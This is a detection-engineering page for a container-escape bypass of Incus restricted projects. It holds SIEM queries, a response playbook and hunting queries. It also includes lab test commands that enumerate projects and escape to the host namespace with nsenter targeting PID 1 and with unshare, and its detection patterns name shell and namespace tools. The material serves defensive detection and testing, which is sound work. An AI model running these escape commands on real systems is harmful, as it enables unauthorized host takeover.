CVE-2026-48751: Incus Restricted Project Bypass Leading to Arbitrary Command Execution
Detects exploitation of CVE-2026-48751, a critical missing authorization vulnerability (CWE-862) in Incus (github.com/lxc/incus/v7/cmd/incusd) versions prior to 7.2.0. An attacker with access to a restricted Incus project can bypass project restrictions to execute arbitrary commands on the host system, achieving container escape with a CVSS score of 9.9. A public proof-of-concept is available.
Vulnerability Intelligence
Public PoCAffected Software
- Vendor
- go
- Product
- github.com/lxc/incus/v7/cmd/incusd
- Versions
- < 7.2.0
Weakness (CWE)
Timeline
- Disclosed
- June 26, 2026
What is CVE-2026-48751 CVE-2026-48751: Incus Restricted Project Bypass Leading to Arbitrary Command Execution?
CVE-2026-48751: Incus Restricted Project Bypass Leading to Arbitrary Command Execution (CVE-2026-48751) maps to the Privilege Escalation and Lateral Movement and Execution tactics — the adversary is trying to gain higher-level permissions in MITRE ATT&CK.
This page provides production-ready detection logic for CVE-2026-48751: Incus Restricted Project Bypass Leading to Arbitrary Command Execution, covering the data sources and telemetry it touches: SecurityEvent, DeviceProcessEvents, Syslog. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
union
(SecurityEvent
| where EventID in (4688, 4689)
| where ParentProcessName has_any ("incusd", "incus")
| where CommandLine has_any ("exec", "shell", "bash", "sh", "/bin/sh", "/bin/bash")
| project TimeGenerated, Computer, Account, ParentProcessName, NewProcessName, CommandLine, EventID),
(DeviceProcessEvents
| where InitiatingProcessFileName has_any ("incusd", "incus")
| where FileName in~ ("sh", "bash", "python3", "python", "perl", "ruby")
| where ProcessCommandLine has_any ("exec", "chroot", "nsenter", "unshare")
| project TimeGenerated, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine)
| where TimeGenerated >= ago(24h)
| extend RiskScore = case(
ProcessCommandLine has_any ("nsenter", "unshare", "chroot"), 100,
ProcessCommandLine has "exec", 80,
50)
| where RiskScore >= 80
| sort by TimeGenerated desc Detects processes spawned by incusd that indicate container escape or privilege escalation attempts via the restricted project bypass in CVE-2026-48751. Looks for shell spawning and namespace manipulation tools launched from incusd parent processes.
Data Sources
Required Tables
False Positives
- Legitimate administrative use of incus exec for authorized container management
- Automated orchestration tools that use incus exec for provisioning tasks
- Security scanning or compliance tooling that inspects container environments
- Development environments where frequent container exec operations are expected
Sigma rule & cross-platform mapping
The detection logic for CVE-2026-48751: Incus Restricted Project Bypass Leading to Arbitrary Command Execution (CVE-2026-48751) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: process_creation
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for CVE-2026-48751
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Incus Restricted Project Shell Escape via Exec API
Expected signal: Process audit logs showing incusd spawning /bin/sh or nsenter with parent PID of incusd; auditd EXECVE records for nsenter or chroot with ppid matching incusd; /proc/<pid>/ns/pid symlink pointing to host PID namespace
- Test 2Verify Incus Vulnerable Version Present
Expected signal: Process execution events for incusd --version and incus project list; API calls to /1.0/projects and /1.0/instances visible in incusd access logs
- Test 3Container Escape via Host Namespace Entry Post-Bypass
Expected signal: Auditd SYSCALL records for nsenter (execve), unshare, clone syscalls; /proc/<pid>/ns/pid and /proc/<pid>/ns/mnt symlinks showing target namespace 1 (host init); process tree showing sh/bash with host-level PID namespace confirmed by NSpid field in /proc/self/status
Response Playbook
Triage
- Identify the source account and whether it belongs to an Incus restricted project user — check /etc/incus/auth/ or incus project list to enumerate project memberships and restrictions.
- Determine the Incus version on the affected host: run `incusd --version` or check package manager (dpkg -l incus or rpm -q incus). If < 7.2.0, treat as confirmed vulnerable.
- Review incusd logs at /var/log/incus/ or via journalctl -u incus for project boundary crossing events, unexpected API calls to /1.0/instances/<name>/exec from restricted project contexts.
- Check for indicators of successful host breakout: processes running outside container namespaces with PPID traceable to incusd, unexpected files created in /etc, /root, or /var by incus-descended processes.
Containment
- Immediately suspend or disable the affected Incus restricted project user's API token and revoke their certificates: `incus config trust remove <fingerprint>` and `incus project set <project> restricted=true` to re-enforce restrictions post-patch.
- If host compromise is confirmed, isolate the affected host from the network, snapshot all running containers for forensic preservation, and fail over workloads to unaffected nodes before upgrading Incus to >= 7.2.0.
Evidence Collection
- Collect incusd audit logs: `journalctl -u incus --since '2h ago' -o json > incus_audit.json` and preserve all files under /var/log/incus/ with timestamps.
- Capture process ancestry for suspicious processes: `ps auxf > process_tree.txt` and collect /proc/<pid>/status, /proc/<pid>/cmdline, and /proc/<pid>/ns/ symlinks for any incusd-descended processes executing outside expected container namespaces.
Escalation Criteria
- ! Escalate immediately to incident response if any process spawned from incusd is found running in host PID/network/mount namespaces (confirmed container escape), or if unauthorized files were written to sensitive host paths (/etc/passwd, /root/.ssh, cron directories).
- ! Escalate if the affected restricted project user has no legitimate business reason to be executing commands — this may indicate credential compromise or an insider threat leveraging the public PoC for CVE-2026-48751.
Investigation Guide
Forensic Artifacts
- >
/var/log/incus/ — incusd API access logs containing project context and exec endpoint calls - >
/proc/<pid>/ns/ — namespace symlinks revealing whether suspicious processes reside in host or container namespaces - >
incusd Unix socket activity at /run/incus/unix.socket — client connections from restricted project contexts invoking exec API - >
auditd records with SYSCALL type for execve, clone, unshare, pivot_root syscalls with uid/gid matching incusd service account
Tuning Guidance
Reduce false positives by filtering on known-good administrative accounts and scheduled maintenance windows. Create an allowlist of authorized incus exec command patterns used by your orchestration tooling. If incusd is not deployed in your environment, suppress this rule entirely. For environments using Incus >= 7.2.0 exclusively, archive this detection. Consider correlating with user identity — restrict alerting to restricted project members (not full admin users) to improve signal fidelity. Tune the namespace manipulation terms to your specific environment; not all nsenter/unshare usage is malicious if performed by expected automation accounts.
Hunting Queries
Hunt for namespace manipulation syscalls (unshare, pivot_root, clone with CLONE_NEWNS/CLONE_NEWPID) with incusd as the parent process, indicating container escape via CVE-2026-48751 restricted project bypass.
DeviceProcessEvents
| where InitiatingProcessFileName == "incusd"
| where ProcessCommandLine has_any ("nsenter", "unshare", "pivot_root", "chroot")
| summarize count() by DeviceName, AccountName, ProcessCommandLine, bin(TimeGenerated, 1h)
| where count_ > 0
| order by TimeGenerated desc index=linux sourcetype=auditd syscall IN ("unshare", "pivot_root", "clone") ppid_process="incusd"
| stats count BY host, uid, syscall, exe, _time
| sort -_time Atomic Red Team Tests
Simulates CVE-2026-48751 by invoking the Incus exec API from a restricted project context to spawn an interactive shell, demonstrating the missing authorization check that allows command execution outside project restrictions.
Command
# LAB ONLY — requires Incus < 7.2.0 installed and a restricted project configured
# Step 1: Create restricted project
incus project create test-restricted
incus project set test-restricted restricted=true
incus project set test-restricted restricted.containers.nesting=false
# Step 2: As restricted project user, attempt exec bypass
INCUS_PROJECT=test-restricted incus exec <container-name> -- /bin/sh -c 'id && hostname && cat /proc/1/status | grep NSpid'
# Step 3: Attempt host namespace access
INCUS_PROJECT=test-restricted incus exec <container-name> -- nsenter --target 1 --mount --pid --net /bin/bash -c 'id' Cleanup
incus project delete test-restricted --force
# Ensure incus is upgraded to >= 7.2.0 after testing Expected Telemetry
Process audit logs showing incusd spawning /bin/sh or nsenter with parent PID of incusd; auditd EXECVE records for nsenter or chroot with ppid matching incusd; /proc/<pid>/ns/pid symlink pointing to host PID namespace
Expected Detection
Alert triggered on KQL DeviceProcessEvents or Splunk auditd sourcetype detecting incusd-descendant shell spawn followed by namespace manipulation command execution with risk score >= 80
Checks whether the host is running a vulnerable version of incusd (< 7.2.0) and attempts to enumerate restricted projects, establishing reconnaissance baseline for CVE-2026-48751 exploitation.
Command
# Check incusd version
incusd --version || incus version
# Enumerate projects and their restrictions
incus project list --format=json | python3 -c "
import json, sys
projects = json.load(sys.stdin)
for p in projects:
name = p.get('name', 'unknown')
restricted = p.get('config', {}).get('restricted', 'false')
print(f'Project: {name}, Restricted: {restricted}')
"
# List instances accessible from restricted context
incus list --format=json | python3 -c "import json,sys; [print(i['name'], i['status']) for i in json.load(sys.stdin)]" Cleanup
No cleanup required — read-only enumeration Expected Telemetry
Process execution events for incusd --version and incus project list; API calls to /1.0/projects and /1.0/instances visible in incusd access logs
Expected Detection
Low-confidence alert on incus enumeration commands; primary value is correlating version check with subsequent exploitation attempts in timeline analysis
Simulates the post-bypass phase of CVE-2026-48751 exploitation where an attacker who has gained initial command execution uses nsenter to fully escape to the host PID namespace.
Command
# LAB ONLY — run inside a container where incusd exec bypass has been achieved
# Confirm container context
cat /proc/1/status | grep NSpid
ls -la /proc/1/ns/
# Attempt namespace escape to host
nsenter --target 1 --mount --pid --net --uts --ipc /bin/bash << 'EOF'
echo "[+] Host namespace achieved"
id
uname -a
hostname
cat /etc/os-release
ls /root/
EOF
# Alternative: attempt via unshare
unshare --user --map-root-user /bin/sh -c 'id' Cleanup
Exit the spawned shell; no persistent changes. Ensure lab environment is reset and Incus upgraded to >= 7.2.0 Expected Telemetry
Auditd SYSCALL records for nsenter (execve), unshare, clone syscalls; /proc/<pid>/ns/pid and /proc/<pid>/ns/mnt symlinks showing target namespace 1 (host init); process tree showing sh/bash with host-level PID namespace confirmed by NSpid field in /proc/self/status
Expected Detection
High-confidence alert triggered by namespace manipulation sequence (nsenter targeting PID 1) originating from a process tree rooted at incusd; CrowdStrike and Elastic EQL sequence rules fire on NAMESPACE_ESCAPE category